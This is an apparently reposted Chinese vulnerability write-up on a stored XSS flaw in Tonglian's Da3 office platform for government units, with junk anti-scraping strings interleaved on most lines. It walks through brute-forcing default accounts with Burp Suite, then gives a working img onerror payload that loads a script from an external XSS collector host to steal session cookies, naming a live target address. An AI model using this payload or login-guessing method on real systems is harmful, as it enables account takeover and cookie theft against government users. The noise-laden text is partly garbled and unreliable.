* ]% h; M. U8 U% Q9 n) a 3 E" Q/ {2 K4 p
同联Da3协同办公平台后台通用储存型xss漏洞
' L! g8 H8 w& h$ B; n2 ~+ h) {
( Q3 `1 k8 G v2 Y) { 3 I2 h+ Z. S2 W% j4 t" ~* n1 ?+ H
平台简介:1 Q3 _" q/ M& G% W8 d
( [" U: C9 z+ |1 s2 i" C R, T5 y5 ^- @, E" q
% r4 w S9 C& z; F; u
/ M" M# Y$ o+ S, i3 g
. T% o" B+ Z1 p, ^; D3 t) T4 q
北京同联信息技术有限公司(以下简称同联)由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务,以加强各级政府的精细化、智能化管理,形成高效、敏捷、便民的新型政府。”为使命,致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
3 d3 `3 \% M' a, L
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位,分别提供以“移动政务办公”为主的Da3系列管理软件;针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
* q7 [& r; X/ y4 R/ b, w0 o同联本着“协作、专业、创新”的工作方针,为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献! |9 C( m3 D3 X
* ^8 U# s2 ]4 R! T
# X$ z7 ?) C! C, U
2 v/ c0 H7 c! G7 x& |' Q3 [* I) @( D+ z/ G
" C& o8 K5 [( G2 s
; |* D- n( d9 |
由于此程序为新开发的程序,故能找到的案例并不多,下面附案例地址:' m l/ b- K$ I1 u5 w
8 e1 S8 P% o3 H* I' l% n" Q. I
* i5 f( U! m- c+ E' K% `
. y8 K$ @; {2 H2 r5 ^7 i5 b
8 H7 |! o3 k5 y; ~( h) g
- m* q" O( ]4 t& \( c http://1.1.1.1:7197/cap-aco/#(案例2-)
5 z2 A5 n: B% e/ D3 T
( d! \" I# t% M2 }/ ?! A: { ! o; S: m+ O: w
http://www.XXOO.com (案例1-官网网站)
& `6 E& I' Z% B# }/ l% n
9 D( B9 ~" k' x ! k7 t4 o% _! ]# U/ T
漏洞详情:
0 ]/ C4 O: X2 ` x
8 u0 @! F' \9 v2 G! p2 n, c
' w' c! u: a9 U' M. x
案例一、7 [; S( B+ C8 ]# }2 i1 c2 s' j
( U1 R- x4 h, d; b/ x& A; |
& A2 N5 M. x) J 初步确定平台的默认账号为姓名的首字母小写,初始密码为123,为了能够更好的模拟入侵,使用黑盒测试手段进行测试2 b( g8 C( V8 Q
2 M: U, d% k8 K/ `
. @- z" R/ y; c2 X: K* \1 b$ S. I 首先使用burpsuite代理,然后再用黑客字典生成一个全英文小写的3位字典,利用burpsuite进行暴力破解,破解结果如图:: i, ^) J# }# f8 A: N" N/ o2 o
! Y }8 }. n+ C z( c( \
7 B6 `/ q3 E% O" s' j
8 G- L+ J5 m. w& A" ]
4 E% r! ~% ^6 n4 R
' v0 F- J. `& L: a0 k7 Y" V
1 F2 l: L' G1 E: a0 ~$ c9 @
! F+ j& l/ c. R9 x
8 m% s1 G# _3 B* {, H& ~. D9 F) z' m status为302即表示破解成功,然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞,我在编机器里填写好标题、选择人员,点html如图:
8 I& [9 J k; F
+ s& N$ d* o$ ~, J/ I& z* f3 c5 M
% d/ N @- L+ d* A
, W' e( S4 W+ f5 b7 { K6 X4 [
9 G9 S1 o/ o' A( S
# b! ^5 |/ |- ^) V! g8 @% p. q
; C2 p6 D6 t- g' o7 V; N- [2 T
; F1 K0 p) X2 p( \5 X% }
^' D: s i4 z8 J! R2 H0 T; G 然后插我们的xss跨站代码(经过测试发现过滤了好多标签,比如script,没过滤img、iframe标签),这里我们用img标签来测试,payload如下 3 i* H; D, p! F, o
: P) A5 N% X, k
- R; l0 D$ X2 D' I- f) c' F 9 M o: M5 w% F3 h
% e9 X, ?( \) G
! w4 {# B* e3 I b2 v- _* N
<img src=x
5 ]# V4 [) [. O- [; P4 o4 K. gonerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>,如图:
2 D9 l/ e- H+ e% y3 |) T' W4 _9 o
- M. P$ r" G+ w) _; y
1 a2 n; j, \4 F% G: h+ g3 [
L3 ]( b8 b l
6 ]3 m& }; U' q. \3 R" B9 Q) T
; D$ P: ?6 A1 C5 t 然后发送,接收cookie如图:
( i' m- V$ P: @. @7 \
0 V1 t" d8 e6 P# R- w: b 4 C' G: c4 P) k$ Q5 g% B' D! {
* h. ~6 N' s5 p
* [ h# T' h2 c+ H( b6 W* G+ Z# p
7 |6 Y" i: ~& Y
' u; T' ^% E' r5 n' F/ h, Y
/ ]( {" s' M9 L/ V. D& Z ! z7 w' p8 l$ w$ ]6 }* s- ?
2 Y! ?& U1 p6 l/ ]; G" L
3 S% I6 ~4 F i6 s1 J& N) }
" X8 U5 p: D$ s3 R2 K8 N2 ^- D
0 s: m$ B. V, Q# C8 A% j
, a9 K" Y+ Z2 u6 ?; U' x5 L
! {3 v% x" q4 j' j _9 ~
1 g4 P/ P3 p/ F2 {( J
3 G4 c( B3 v) \ w& K& p: I: e3 A/ T* v' O+ @; y! v5 y
* u6 T( `- v( ^! T$ q5 o% d
4 x5 T; ^8 J6 H
7 s, l9 p" t9 N. X7 N2 A
; f# a8 d H1 w% \8 w
0 Z+ z, @8 ]8 t, @) p$ d9 G ! B7 J' o2 D0 P( ]
案例2、 1 o+ v. C$ Z! b3 G3 Z
2 F4 w4 k9 r! g/ o$ A, p + V# x$ v' A2 w) ~# f# T/ o( r
前面步骤都一样,下面看效果图:
) s: G- g& U/ t5 I9 g1 L" o
/ ~( W( L0 Y$ h0 n2 c6 v# {
: r5 r+ Q4 O. \- E* Z
" N; S2 X' ~- j9 w3 }; \9 u) A
. | z3 |6 H7 l2 W: d5 u. H! q ; J* a+ S: p2 A7 Q- e" q5 n1 w
9 G5 T$ f# H) j4 ~* {$ g$ t
( v$ x4 N) l9 ?8 R7 c' b* m; V ! Q& g f9 ]( B& E
* u. n, y8 R I1 c9 ^5 i: ]: L0 i
* Q B! Y7 i7 F% |2 p; b 1 v+ e& o; f3 \+ `; w5 `% L
5 }$ N1 ^ M o8 t4 r: A
; R9 w- _0 y4 u* J( U+ S
2 |* N, N1 j: V& a6 x
3 ^6 n# c4 ~( h; S7 N
. H) H! \ t- w0 h# E& F8 ]
2 |( \$ J8 q( z - |, R6 M7 @8 W) Z4 s- s
7 B; c) o! ^. H$ `* ]4 K! ~
2 H* _- l( N% X * p1 S8 r" G. D' {
! a4 ^/ y: ]1 C / o$ J' s; A1 p( T( d4 C
C. c8 u3 r- J$ E& h% E3 r
# B" `1 z. {' c# E
# l1 e( K& L3 p8 G
# j" i4 i" V* y( t% T4 N
1 x J* D0 E4 a